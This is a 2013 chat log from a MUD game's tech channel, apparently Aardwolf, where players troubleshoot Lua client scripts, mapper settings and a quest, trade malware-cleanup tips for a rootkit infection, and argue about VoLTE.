T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Hmm. Well, what kind of things would you make, Etzli? You already have a weatherbot, which is really cool. But I'd like to lean to more in-game things.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: information (noun) : Knowledge derived from study, experience, or instruction.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli blinks innocently.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Also have a definition bot.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: But... in-game things...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: That is awesome. :O
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, I get bored sometimes.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ingame things hmmm
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I wish I had your knowledge, Etzli. Seriously. :(
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how about..
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Str[245/171] Int[391/300] Wis[259/226] Dex[222/131] Con[180/133] Luck[256/190] Total Stats[1553/1151] HR/DR[348/517]
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: It's why I wrote the Mafia stats script. Collectible information on anyone who has played a mafia game.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ooooo! Now THAT has got to be handy.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: [Top Ten in Vigilante Wins] 1) Trurien (10) 2) Liathum (5) 3) Krypteria (5) 4) Katta (4) 5) Sybacco (3) 6) Lemontree (3) 7) Electrobite (3) 8) Cuddlez (2) 9) Memnarch (2) 10) Gadwyn (2) 
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeahi wish i knew how you did that etz
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli giggles.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: For real. Etzli, sheesh. Teach me your ways. :(
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Or even...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: [Mafia Stats] Etzli: Mafia (W:32/P:124), Vigilante (W:2/P:30), Police (61), Doctor (50), and Citizen (W:54/P:193). Alive/Games played: 123/458 (26.86%). Team wins (M/C): 54/112.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: dam im not even in your top 10 :(
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Trust me, you're not the first person to state that. ;) I don't know how I do it. But... there are many others much better than I am. I just tinker around with things until I get it right.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: {Ping to www.google.com Min: 40ms Avg: 41ms Max: 46ms}
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: That was also done in Lua.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol the best ive done is get data from GMCP :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, I fail at that when it comes to MUSH. :p
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I'm trying to learn to do that using clientside aliases and whatnot. It's frustrating for me.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: GMCP isnt hard to acess, but limite for what it does
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I can access it quite easily on CMUD. It's built-in with a system variable for gmcp.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry frowns.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Maybe I should switch to CMUD then, if it's easier to make things with.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: It'd be nice if MUSH had a prebuilt function to type "gmcp(char.base)" to return gmcp.char.base stats.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i found some functions to do it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Not necessarily easier. It depends mainly on what you're planning on doing. Like I've said, I've worked with Zugg products for 15 years now, CMUD ever since it came out. It's no longer being actively worked on, sadly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli looks at [Outlaw] Remarto ponderingly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel feeds a technical robofish to Remarto.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: gonan do a pastebin of the stat thing with GMCP
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Hey, Etzli?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: That alts adding thing, I'm looking at the else section - is it adding the alt /anyway/?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: http://pastebin.com/x072WHZv
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: What do you mean, Registry?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: else:    table.insert(alttable[uname],ualt)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting, Remarto. Thanks.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: It looks like it's adding the alt even if it's already added.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: The first instance is "If the player name is not already in alttable, then create a new instance for it and add the alt name. ELSE if the player name is already in the table, then just add the alt name."
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: the wiki isnt very clear with GMCP
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: OHHH, I see.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you. Silly me. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: So if the alt is already added, it won't add it a second time, would it?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Nope.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: That's pretty neat. :3
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Not unless you spammed "alt add other testalt" 10 times, then it'd add the testalt name 10 times.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Etzli, confirming. It'd look like this? http://pastie.org/7658754
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Or would I remove the Lua variables I made for name and alt?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: That /looks/ correct. Give it a couple of test runs.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Done, no printing's being done though. D:
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Commands: alts add nick gammon, alts find nick, alts find gammon.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, duh.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I know why now.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I feel silly. It's something right under my nose, isn't it?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah... give me a moment again. I'll fix it to where it should work for you.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Okay. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you so much, Etzli. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i think he forgot the bit where it prints it out :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry snickers softly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: RoqueWarrior Tofus it!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: http://pastebin.com/UUWVQuVT -- try this out. Paste it, then do alts add whatever blah
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: oh i see, did the function but forgot to call it :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at [Outlaw] Remarto.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Yeah, it's printing now. I don't see where it went wrong though.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: We created functions, but didn't call those functions into action.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh my gosh, I see it.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry slams his head on his desk in frustration.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Would removing be just as easy? Like, table.remove(altname,alt)? Or some such?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its obviouse once you see it :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry is agreeing with that [Outlaw] Remarto person again...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Removing the alt name... not that easy, hmm...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I had something weird for deleting items by name from a single table, but I had help with that.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm i wonder if replacing the alt name with a bank would work?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: blank*
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Here's for removing item by name from a single table: http://pastie.org/7658821
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, it'd still take a bit of work
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah. tbh i dont use tables much
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Actually...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: What do you use? D:
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i dont do anything complex :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Neither do I. I've only started a week ago.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Actually, it's a bit easier than I thought. But right now, I'm extremely exhausted (1:43 am and I've been up since 4:45 am), so I won't work on it for the moment.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I thought I was making great progress with a single table, but Etzli has shown me it's child's play.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto misses the 'v' and wabes.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you, everyone, by the way. <3
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli rapidly nods twice, in complete agreement.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I think I've written the function to delete an alt's name already, but I'm heading to bed and will test tomorrow.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: May I have it anyway? If it doesn't work, I'll try to use what I've learned this far to fix it :3
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: And send it to you. :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, it's just a skeleton, apparently. Too many issues to work with it right now. Was written off the top of my head, and incorrectly. I can already see 20 mistakes. ;)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh? :O
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Whee! I lied to everyone and fixed the damned function because I can't sleep when there's something not finished. *sigh*
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry points at everyone and screams, "LIES! LIIIIIIIIIIIIES!"
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Keep in mind it only works for the main alt name, so with Gammon = Nick, MUSH, you couldn't delete Gammon from Nick's alts.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ahh, I see. Would that be similar to the pastie I provided for deleting something from a table?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure I understand the question at the moment. http://pastebin.com/DeABeVzN -- just copy/paste that into your delete alt alias. It's already set up, so once you type alt delete name alt, you should be good to go.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: No, I wasn't even close.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: My mistake was I was treating the Nick like you're treating Gammon.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: How long did it take you to learn Lua, Etzli?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Still learning it.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I've been working with it for a couple years now.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ahhh, I see. Was there a go-to source for you? Lua-users, right?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm self-taught, but yeah, lua-users helped me out quite a bit.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry noddles his head in agreement.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: But for real, I'm heading to sleep now. Night. Enjoy your new script.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: gnight etz
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you, Etzli. Shall I send you something for your efforts?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Typically not required unless it's a big project. ;)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ahhhh, I see. :3
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Though I would never turn anything. :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Good.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers softly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Teklor Tech: anyone know why my mapper can't find rooms in areas that i have all the proper cexits for?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Daloran Tech: can't find? maybe you've not mapped them, or the rooms are flagged no map. Are is it just they can't find the path to them?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Teklor Tech: like The Archipelago of Entropy i have all portals added but can't runto any of the rooms
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Daloran Tech: also possible they're behind a maze.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Teklor Tech: not the case in that zone...it's just straight through
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Daloran Tech: that being said, I need to run. o/ sorry couldn't stay and help
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Teklor Tech: np :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ontuct Tech: For the unix crowd... http://xkcd.com/1168/
T3/r7/2013-04-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: how to turn a plain lua script file into a nice normal mush plugin? is there a magic wand?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hmm, I didn't know bash is a layer on top of dash...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ??
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: It's not.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: how would you match train line to get each number on its own?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: very carefully =P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: <Stat>%s+\:%s+(%d)%s+(%d)%s(\-?%d)%s+(%d)%+(%d)%s+(%d)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Quick, ugly lazy-match that should work
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Cheeze saves the day!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: as usual:p
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Cheez didnt account for race mods being -, nor tier mod being -
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: cheez also self-admittedly called it sloppy and quick =P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Rather, wishmod, not tier mod
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, sloppy and quick was why you were born, Frostbite, so... it's not always a good thing. *srun*
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli tickles Fatal FrostBite.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: There goes Fatal FrostBite giggling again, and this time he's looking towards Book of Etzli.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Unfriendly Jaenelle Tech: has anyone ever gotten the mapper to recognize 'that is a privately owned room' and to not show it as an unmapped room? Is there a setting for that somewhere? :) (my unmapped list is silly long atm)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably could use the same code for "Alas, you cannot go that way."
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Though Fiendish would be the one to ask about that.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: Don't there isn't is a great way - you don't get room flags unless you're actually in the room in question.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: You could probably throw something in to ignore n exits in manor areas, if you really felt like it :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm sorry, I'm trying to dicipher "Don't there isn't is a great way"...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: ignore the "Don't"
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: I'm uncertain how it found its way in.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: "there isn't is a great way" still... :p
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: Okay, remove the 'is' as well :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: That sentence was just full of fail.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: Geez.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Jhav Tech: It's like you expect me to SPEAK ENGLISH or something.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: grammar police in da house!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, the inhumanity!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Vonliege Tech: what! who?  Abelinc?  Where!?!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grins evilly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I love how Adobe's Flash Downloader has a "Did you know?" and the first fact it lists says, "The top 10 Facebook games use Flash." ...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Vexthorne Tech: How do you link to a PDF in a word file so that the recipient can still open the pdf without that exact path on their computer?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Vexthorne Tech: Or can I somehow insert the PDF into word rather than linking it?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Lumish Tech: does anyone have this channel turned on that can possibly fix a bug or help me get around it?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just ask your question
T3/r7/2013-04-19.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: bug in what?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Lumish Tech: in the abyssal caverns at behind a cluster of seaweed when I use "nod elf" nothing happens. I have made sure I was visible, I have left the area and returned, I have recalled and returned, I closed my client and returned, and I have waited a few days (real time) and returned and it still doesnt work.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Endtime Tech: did you do the goal? if so, you need to say yes, not nod.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Ayasinda nods at a dark elf warrior.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not a bug, you are most likely using a spellup plugin that is re-invis'ing you quicker than you can nod
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Also most definitely not a tech question
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Lumish Tech: say yes doesnt work either and I will try turning plugins off and then I will get back to you.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: just type bsp pause
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Lumish Tech: I got there is no pause in aardwolf.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: got him sorted out. he had started the goal, but hadn't finished listening to the elf yet, so 'yes and nod both didn't work :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: has anyone had problems with the cmud licence just poofing? it was fine up until today and it knocked me back to a trial
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Never have had an issue.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i never have up until today either, and i dont have access to the cmud pro licence anymore (someone bought it for me as a gift)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Mottle Tech: this is wierd...when I xrt darkLight, mapper uses Cedria portal to insanitarium and then ord of stars portal to DarkLight. Any ideas as to why?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Makala Tech: xset vidblain
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Mottle Tech: thanks
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Mottle Tech: yep...that worked & thanks
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Hanslanda Tech: is a netgear prosafe 8-port gigabit desktop switch (gs108) any good?  An AT&T install tech came out to set up UVerse phone/internet and gave us one absolutely free.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: anyone know about rootkits?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel cries at her lack of knowledge in general.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Snaebjorn whispers softly to Queen Bee Noegel.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ixle Tech: Sure what's your ip?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel sends Snaebjorn to the technical layers of Doomland.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ymerd Tech: 127.0.0.1 ? 
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: Im on phone at the moment I have my computer quarantined from the net work
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: eeps. computer aids
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Snaebjorn laughs out loud at LOL YOLO Gruagach.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: so.... if anyone would like to help.....
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: which one you got/
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Keldrath Tech: the reinstall windows rootkit
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: rkill, usb stick, malwarebytes is how i fix everything
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: spyhunter 4 says unknown rootkit 
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: like 4 different rootkit detectors and they say unidentified
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Snaebjorn Tech: thanks
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: why do i care about voice over lte technology? one of my friends is nutting so hard, i dont get how it affects me
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: because voip is so old fashioned
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: voice over lte is voip
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: he was saying it would provide hd voice
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i thought he was kidding, but no..i mean..hd voice? lolwut
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: maybe he means uncompressed?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: But, typically, you would not care unless you work in the industry. Why should regular people care about the technology that implements your call?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: all audio codecs are not equal
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Right. But joe average does not now and should not need to care.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: know*
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: they will if their call sounds like AM radio
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: but audio codecs don't depend on lte transport...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: my buddy works for verizon and he talks about it all the time.. i just like dont get why its a thing
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: the only thing i think about is how shitty the plans are going to be priced
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: if he works for verizon, he talks about it because he's a sales-schlep that doesn't know what he's talking about, only what they feed him
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: It's a thing for them, because new technology means they can sell new stuff.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: yah or a data engineer...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: nobody in verizon's infrastructure cares
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: all it means for the infrastructure is that they can overprovision again
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: the way he was explaining it, they have to change pretty much everything they are doing from today
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no they don't
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: hold that thought, i'll debate you tommorrow good sir
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: so either he doesn't understand, or he wasn't explaining it well
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: I care, because I work in a related tech field, but I don't go around telling everyone "Have you heard the good news?" :D
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: its not like he is blogging about it, but it does come up everytime we talk
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: easier solution. get a new friend :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Well, abe, they do have to change everything in the network... but it's still the same basic principles, of course.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Except maybe the IP/MPLS Core part.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: for a very interesting definition of everything in the network...don't have to change hardware, don't have to change firmware, don't have to change much
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: they do have to change hardware
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Eh... what?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: no they don't
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: and codeex
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: alright, you're clueless..i got it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: they have to use codecs, that's not really changing anything
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Ranrr rapidly nods twice at LOL YOLO Gruagach, in complete agreement.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: i dont know much about it, but i know it does require hardware at cell sites, switchs and the phones themselves
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: How do you switch your network to LTE without changing hardware or firmware?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: it requires hardware that is lte compatible...they already have that
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: VoLTE doesn't require different hardware than their standard LTE network
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: cause verizon has LTE depolyed quite a bit
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: yes they'd need hardware upgrades if their network wasn'tLTE...but that's not raving over VoLTE, that's just raving over LTE
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: Ok... sure.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: VoLTE doesn't require hardware change
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lol..10/10 troll..would read again
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: your premise was that putting voice over the lte network was a huge overhaul, that simply isn't the case
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i guess the lte switches need an upgrade to handle those 'voice' packets
T3/r7/2013-04-19.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: no big deal guys, going from analog to digital, same gear
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: it's been digital for decades...
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Ranrr Tech: No, it's switching from 3G to LTE for voice.
